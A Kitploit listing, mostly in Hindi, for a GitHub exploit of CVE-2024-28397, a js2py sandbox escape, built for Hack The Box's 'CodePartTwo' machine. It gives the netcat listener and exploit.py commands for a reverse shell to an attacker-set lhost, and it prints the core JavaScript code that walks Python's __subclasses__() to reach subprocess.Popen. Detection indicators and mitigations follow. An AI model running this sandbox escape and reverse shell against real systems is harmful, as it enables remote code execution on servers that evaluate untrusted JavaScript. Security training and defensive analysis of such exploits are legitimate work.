Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-28397 — इस रिपॉजिटरी में CVE-2024-28397 के लिए पायथन एक्सप्लॉइट कोड है जो हैक द बॉक्स (HTB) पर "CodePartTwo" मशीन पर उपयोग के लिए है। | Kitploit
उपकरण/GitHubGitHub/naclapor/cve-2024-28397
भेद्यता विश्लेषणशोषणCTFपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubnaclapor/cve-2024-28397

CVE-2024-28397

इस रिपॉजिटरी में CVE-2024-28397 के लिए पायथन एक्सप्लॉइट कोड है जो हैक द बॉक्स (HTB) पर "CodePartTwo" मशीन पर उपयोग के लिए है।

रिपॉजिटरी देखें
12121 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-28397 js2py सैंडबॉक्स एस्केप शोषण - (CodePartTwo - HTB)

CVE-2024-28397 के लिए एक पायथन शोषण कोड, js2py <= 0.74 में एक गंभीर भेद्यता जो सैंडबॉक्स एस्केप और रिमोट कोड निष्पादन की अनुमति देती है।

🚨 भेद्यता विवरण

  • CVE ID: CVE-2024-28397
  • प्रभावित सॉफ्टवेयर: js2py <= 0.74
  • गंभीरता: गंभीर (CVSS 9.8)
  • प्रकार: सैंडबॉक्स एस्केप / रिमोट कोड निष्पादन
  • खोज तिथि: फरवरी 2024

विवरण

js2py पायथन वातावरणों में जावास्क्रिप्ट कोड का मूल्यांकन करने के लिए एक लोकप्रिय पायथन लाइब्रेरी है। यह भेद्यता हमलावरों को js2py सैंडबॉक्स वातावरण से बचने और मनमाने पायथन/सिस्टम कमांड निष्पादित करने की अनुमति देती है, तब भी जब js2py.disable_pyimport() सक्षम हो।

शोषण जावास्क्रिप्ट के माध्यम से पायथन की ऑब्जेक्ट इंट्रोस्पेक्शन क्षमताओं का लाभ उठाकर subprocess.Popen क्लास तक पहुँचता है और सिस्टम कमांड निष्पादित करता है।

🎯 प्रभावित अनुप्रयोग

  • जावास्क्रिप्ट मूल्यांकन के लिए js2py का उपयोग करने वाले वेब अनुप्रयोग
  • कोड निष्पादन प्लेटफॉर्म (जैसे ऑनलाइन कोड संपादक)
  • वेब स्क्रैपर जो जावास्क्रिप्ट को पार्स करते हैं
  • कोई भी अनुप्रयोग जो js2py के माध्यम से अविश्वसनीय जावास्क्रिप्ट को संसाधित करता है
  • 🚀 उपयोग

    आवश्यक शर्तें

    root@kitploit:~
    pip install requests
    

    मूल उपयोग

    root@kitploit:~
    # नेटकैट लिसनर प्रारंभ करें
    nc -lnvp 4444
    
    # शोषण चलाएँ
    python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444
    

    कमांड लाइन विकल्प

    root@kitploit:~
    --target    लक्ष्य URL एंडपॉइंट (आवश्यक)
    --lhost     रिवर्स शेल के लिए स्थानीय IP (आवश्यक)
    --lport     रिवर्स शेल के लिए स्थानीय पोर्ट (डिफ़ॉल्ट: 4444)
    

    उदाहरण

    root@kitploit:~
    python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100
    

    🔧 यह कैसे काम करता है

    1. पेलोड उत्पादन: बेस 64-एन्कोडेड रिवर्स शेल कमांड बनाता है
    2. सैंडबॉक्स एस्केप: __class__ और __base__ के माध्यम से पायथन की ऑब्जेक्ट पदानुक्रम तक पहुँचने के लिए जावास्क्रिप्ट का उपयोग करता है
    3. प्रक्रिया निष्पादन: इंट्रोस्पेक्शन के माध्यम से subprocess.Popen का पता लगाता है
    4. कमांड निष्पादन: Popen का उपयोग करके रिवर्स शेल कमांड निष्पादित करता है
    5. शेल स्थापना: हमलावर की मशीन से वापस जुड़ता है

    तकनीकी विवरण

    शोषण इस प्रकार काम करता है:

    • Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__ तक पहुँचना
    • __subclasses__() का उपयोग करके पायथन की ऑब्जेक्ट पदानुक्रम में चलना
    • subprocess.Popen क्लास ढूँढना
    • रिवर्स शेल निष्पादित करने के लिए एक नई प्रक्रिया बनाना

    📝 शोषण कोड संरचना

    root@kitploit:~
    // Access Python object hierarchy
    let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
    let obj = a(a(a, "__class__"), "__base__");
    
    // Find subprocess.Popen class
    function findpopen(o) {
        // Recursive search through subclasses
        for(let i in o.__subclasses__()) {
            let item = o.__subclasses__()[i];
            if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
                return item;
            }
        }
    }
    
    // Execute command
    let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
    

    🛡️ पहचान

    जावास्क्रिप्ट कोड में निम्नलिखित देखें:

    • __class__ या ___class___ विशेषता तक पहुँच
    • __subclasses__() विधि कॉल
    • subprocess या Popen के संदर्भ
    • printf और base64 -d के साथ बेस 64-एन्कोडेड पेलोड

    🔒 शमन

    1. js2py अपडेट करें: पैच किए गए संस्करण (> 0.74) में अपग्रेड करें
    2. इनपुट सत्यापन: निष्पादन से पहले जावास्क्रिप्ट कोड को साफ करें
    3. सैंडबॉक्सिंग: अतिरिक्त कंटेनरीकरण (Docker, chroot) का उपयोग करें
    4. कोड समीक्षा: जावास्क्रिप्ट निष्पादन संदर्भों का ऑडिट करें
    5. WAF नियम: संदिग्ध जावास्क्रिप्ट पैटर्न को ब्लॉक करें

    ⚠️ कानूनी अस्वीकरण

    यह उपकरण केवल अधिकृत पैठ परीक्षण और शैक्षिक उद्देश्यों के लिए है। उपयोगकर्ता लागू कानूनों और विनियमों का पालन करने के लिए जिम्मेदार हैं। कंप्यूटर सिस्टम में अनधिकृत पहुँच अवैध है।

    📚 संदर्भ

    • मूल CVE रिपोर्ट
    • js2py GitHub रिपॉजिटरी
    • CVE-2024-28397 विवरण

    📄 लाइसेंस

    यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।

    टूल डाउनलोड करें